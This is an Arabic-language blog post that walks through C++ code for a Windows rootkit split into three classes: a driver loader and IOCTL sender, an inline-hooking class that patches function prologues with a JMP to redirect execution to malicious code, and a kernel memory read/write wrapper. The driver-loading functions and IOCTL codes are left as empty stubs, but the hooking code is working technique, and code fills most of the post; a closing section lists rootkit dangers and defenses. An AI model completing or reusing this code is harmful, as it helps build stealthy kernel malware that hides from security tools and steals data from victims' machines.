- بواسطة x32x01 ||
تخيّل إنك تملك مفتاح سحري يفتح لك قلب نظام ويندوز نفسه! الـRootkit هو بالظبط كده: برنامج خبيث بيتسلل لنواة النظام (Kernel) ويديك تحكم كامل. في المقال ده، هنشرح كود C بيستخدم أسلوب البرمجة الكائنية (OOP) عشان يبني Rootkit قوي، مقسم لكلاسات منظمة، وجاهز للتعامل مع النواة. هنفكك الكود، نشرح وظيفته، ونحذرك من خطورته. 🚨
إزاي الكود بيعمل Rootkit؟ 🕵️♂️
الكود مقسم لثلاث كلاسات رئيسية، كل واحدة بتلعب دور في بناء الـRootkit:- كلاس Rootkit: الأساس اللي بيتعامل مع تحميل الدرايفر والتواصل مع النواة.
- كلاس Hooking: المسؤول عن التلاعب بوظايف النظام عبر الـInline Hooks.
- كلاس Communication: الجسر بين المستخدم والنواة لقراءة وكتابة الذاكرة.
1. كلاس Rootkit: القلب النابض للـRootkit 💻
الكلاس ده هو العقل المدبر، بيتعامل مع تحميل الدرايفر والتواصل مع النواة عبر IOCTLs. C:
#include <Windows.h>
#include <iostream>
class Rootkit {
public:
Rootkit();
~Rootkit();
bool LoadDriver(const char* driverPath);
bool UnloadDriver();
bool SendControlCode(DWORD controlCode, LPVOID inBuffer, DWORD inBufferSize, LPVOID outBuffer, DWORD outBufferSize);
private:
HANDLE hDevice;
};
Rootkit::Rootkit() {
hDevice = INVALID_HANDLE_VALUE;
}
Rootkit::~Rootkit() {
if (hDevice != INVALID_HANDLE_VALUE) {
CloseHandle(hDevice);
}
}
bool Rootkit::LoadDriver(const char* driverPath) {
// هنا بنحمل الدرايفر
// لازم تكتب كود التحميل الفعلي هنا
return true;
}
bool Rootkit::UnloadDriver() {
// هنا بنشيل الدرايفر
// لازم تكتب كود الإزالة الفعلي هنا
return true;
}
bool Rootkit::SendControlCode(DWORD controlCode, LPVOID inBuffer, DWORD inBufferSize, LPVOID outBuffer, DWORD outBufferSize) {
if (hDevice == INVALID_HANDLE_VALUE) {
return false;
}
DWORD bytesReturned;
return DeviceIoControl(hDevice, controlCode, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, NULL);
} - Constructor و Destructor: الكونستركتور بيجهّز الـHANDLE للدرايفر، والديستركتور بيأكد إن الـHANDLE يتقفل لو مفتوح.
- LoadDriver و UnloadDriver: الدوال دي لتحميل وإزالة الدرايفر من النظام (الكود الفعلي غير مكتمل هنا).
- SendControlCode: بتبعت أوامر IOCTL للنواة عشان تتحكم في الدرايفر وتنفّذ عمليات زي القراءة أو الكتابة.
2. كلاس Hooking: التلاعب بوظايف النظام 🪝
الكلاس ده مسؤول عن الـHooking، وهي تقنية بتعدّل وظايف النظام (زي SSDT) عشان توجهها لكود خبيث. C:
class Hooking {
public:
Hooking();
~Hooking();
bool SetInlineHook(LPVOID targetFunction, LPVOID hookFunction);
bool RemoveInlineHook(LPVOID targetFunction);
private:
BYTE originalBytes[5];
};
Hooking::Hooking() {
// كونستركتور
}
Hooking::~Hooking() {
// ديستركتور
}
bool Hooking::SetInlineHook(LPVOID targetFunction, LPVOID hookFunction) {
DWORD oldProtect;
VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(originalBytes, targetFunction, 5);
DWORD relativeAddress = ((DWORD)hookFunction - (DWORD)targetFunction - 5);
*((BYTE*)targetFunction) = 0xE9;
*((DWORD*)((BYTE*)targetFunction + 1)) = relativeAddress;
VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
return true;
}
bool Hooking::RemoveInlineHook(LPVOID targetFunction) {
DWORD oldProtect;
VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(targetFunction, originalBytes, 5);
VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
return true;
} - SetInlineHook: بتعمل Inline Hook عن طريق تعديل أول 5 بايتس من الوظيفة المستهدفة بأمر JMP (0xE9) لتوجيه التنفيذ لوظيفة خبيثة.
- RemoveInlineHook: بترجّع الوظيفة الأصلية باستعادة البايتس الأصلية.
- VirtualProtect: بتغيّر أذونات الذاكرة عشان تسمح بالتعديل.
3. كلاس Communication: الجسر للنواة 📡
الكلاس ده بيتعامل مع قراءة وكتابة الذاكرة في النواة، وهو الوسيلة اللي بيتواصل بيها الـRootkit مع النظام. C:
class Communication {
public:
Communication();
~Communication();
bool ReadMemory(DWORD_PTR address, LPVOID buffer, SIZE_T size);
bool WriteMemory(DWORD_PTR address, LPCVOID buffer, SIZE_T size);
private:
Rootkit* rootkit;
};
Communication::Communication() {
rootkit = new Rootkit();
}
Communication::~Communication() {
delete rootkit;
}
bool Communication::ReadMemory(DWORD_PTR address, LPVOID buffer, SIZE_T size) {
return rootkit->SendControlCode(/*IOCTL_READ_MEMORY*/, &address, sizeof(address), buffer, size);
}
bool Communication::WriteMemory(DWORD_PTR address, LPCVOID buffer, SIZE_T size) {
return rootkit->SendControlCode(/*IOCTL_WRITE_MEMORY*/, &address, sizeof(address), (LPVOID)buffer, size);
} - Constructor و Destructor: بيجهّز وينظف كائن الـRootkit.
- ReadMemory و WriteMemory: بيستخدموا IOCTL عشان يقروا أو يكتبوا في ذاكرة النواة مباشرة.
ليه الـRootkit خطير جدًا؟ 😱
الـRootkit ده زي شبح بيختفي جوه النظام، وخطورته في:- التحكم الكامل: بيوصل للنواة، يعني بيقدر يتحكم في كل حاجة في الجهاز.
- الإخفاء التام: بيعدّل وظايف النظام عشان يخفّي نفسه عن برامج الحماية.
- سرقة البيانات: بيقدر يقرأ أو يكتب في الذاكرة، فممكن يسرق كلمات مرور أو بيانات حساسة.
- هجمات متقدمة: ممكن يستخدم لتثبيت Ransomware، Spyware، أو Botnet.
إزاي تحمي نفسك من الـRootkits؟ 🛡️
الـRootkits من أخطر أنواع المالوير، لكن تقدر تحمي نفسك كده:- حدّث ويندوز: التحديثات بتصلّح ثغرات النواة اللي بيستغلها الـRootkits.
- استخدم حماية قوية: برامج زي CrowdStrike أو Kaspersky مصممة لكشف الـRootkits.
- راقب الدرايفرات: استخدم أدوات زي DriverView عشان تشوف الدرايفرات المثبتة وتتأكد إنها شرعية.
- تجنّب الملفات المشبوهة: ما تحملش ملفات أو تفتح إيميلات من مصادر مجهولة.
